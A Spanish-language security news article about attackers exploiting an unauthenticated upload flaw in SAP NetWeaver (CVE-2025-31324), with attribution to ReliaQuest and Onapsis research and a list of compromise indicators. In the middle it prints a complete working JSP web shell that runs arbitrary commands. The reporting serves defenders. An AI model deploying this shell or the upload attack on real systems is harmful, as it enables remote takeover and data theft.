Actores maliciosos probablemente están explotando una nueva vulnerabilidad en SAP NetWeaver, permitiéndoles cargar web shells JSP para realizar cargas de archivos no autorizadas y ejecutar código remotamente.

Según un informe reciente de ReliaQuest, esta explotación podría estar relacionada con una vulnerabilidad ya conocida, como CVE-2017-9844, o con un nuevo problema de inclusión remota de archivos (RFI) aún no reportado. La empresa también señaló que podría tratarse de un zero-day (vulnerabilidad no conocida públicamente), dado que varios sistemas afectados ya contaban con los parches más recientes.

El fallo parece originarse en el punto de acceso «/developmentserver/metadatauploader» dentro del entorno NetWeaver, permitiendo que atacantes no identificados carguen web shells JSP maliciosos en la ruta «servlet_jsp/irj/root/» para mantener acceso remoto persistente y desplegar cargas adicionales.

En otras palabras, este web shell ligero en JSP permite la carga de archivos no autorizados, facilita el control permanente sobre los sistemas comprometidos, permite la ejecución remota de comandos y la extracción de datos sensibles.

En ciertos incidentes, los atacantes utilizaron el framework Brute Ratel C4 para post-explotación, así como técnicas como Heaven’s Gate para evadir protecciones de los sistemas endpoint.

En al menos un caso, se observó que los atacantes tardaron varios días en pasar del acceso inicial exitoso a la explotación completa, lo que sugiere que podrían ser brokers de acceso inicial (IAB), dedicados a vender accesos comprometidos a otros grupos criminales en foros clandestinos.

```
1.
 <%@ page import="java.util.*,java.io.*"%>
 2.
        <HTML><BODY>
        <FORM METHOD="GET" NAME="myform" ACTION="">
        <INPUT TYPE="text" NAME="cmd">
        <INPUT TYPE="submit" VALUE="Send">
        </FORM>
        <pre>
        <%
        if (request.getParameter("cmd") != null) {
                out.println("Command: " + request.getParameter("cmd") + "<BR>");
 3.             Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
                OutputStream os = p.getOutputStream();
                InputStream in = p.getInputStream();
                DataInputStream dis = new DataInputStream(in);
 4.             String disr = dis.readLine();
                while ( disr != null ) {
                        out.println(disr);
                       disr = dis.readLine();
                       }
                }
        %>
        </pre>
        </BODY></HTML>
```

ReliaQuest comentó:

> *«Nuestra investigación reveló un patrón preocupante: los adversarios están aprovechando una vulnerabilidad conocida junto con técnicas en constante evolución para maximizar su impacto.»*

Dado que las soluciones SAP son utilizadas tanto por agencias gubernamentales como por grandes empresas, se convierten en objetivos de alto valor. Además, al desplegarse muchas veces en entornos locales (on-premises), la seguridad recae sobre los usuarios, y la falta de actualizaciones rápidas aumenta el riesgo de compromiso.

Coincidentemente, SAP lanzó una actualización que corrige una vulnerabilidad crítica (CVE-2025-31324, puntuación CVSS: 10.0), que permite a atacantes cargar archivos

arbitrarios en los sistemas afectados.

El aviso técnico detalla:

> *«El componente SAP NetWeaver Visual Composer Metadata Uploader carece de mecanismos de autorización adecuados, permitiendo que un agente no autenticado suba binarios ejecutables potencialmente maliciosos, lo que podría dañar gravemente el sistema.»*

Es probable que CVE-2025-31324 sea la misma vulnerabilidad no revelada inicialmente, ya que también involucra el componente metadata uploader.

Este descubrimiento ocurre poco después de que CISA advirtiera sobre la explotación activa de otra vulnerabilidad seria en NetWeaver (CVE-2017-12637) que permitía el acceso a archivos de configuración sensibles.

Actualización:

ReliaQuest confirmó que las actividades maliciosas mencionadas efectivamente explotan la nueva vulnerabilidad CVE-2025-31324.

ReliaQuest explicó:

> *«Identificamos esta vulnerabilidad durante nuestra investigación publicada el 22 de abril de 2025. Al principio sospechábamos de un problema de inclusión remota de archivos (RFI), pero SAP la confirmó como una vulnerabilidad de carga de archivos sin restricción.»*

Por su parte, la firma de seguridad SAP Onapsis agregó que el fallo se explota mediante

solicitudes POST a través de HTTP/HTTPS dirigidas al endpoint vulnerable «/developmentserver/metadatauploader», sin necesidad de autenticación.

Según el CTO de Onapsis, JP Perez-Etchegoyen:

> *«Al explotar exitosamente, los atacantes pueden cargar archivos arbitrarios, como web shells, en los sistemas vulnerables.»*

Estos web shells les permiten ejecutar comandos arbitrarios con los privilegios del usuario del sistema operativo adm, obteniendo acceso total a todos los recursos de SAP, incluida la base de datos.

Actualmente, no se ha atribuido la campaña a ningún grupo de amenazas específico.

Onapsis también alertó sobre los indicadores de compromiso (IoCs) que deben revisarse para detectar posibles afectaciones:

- `C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\root`
- `C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work`
- `C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work\sync`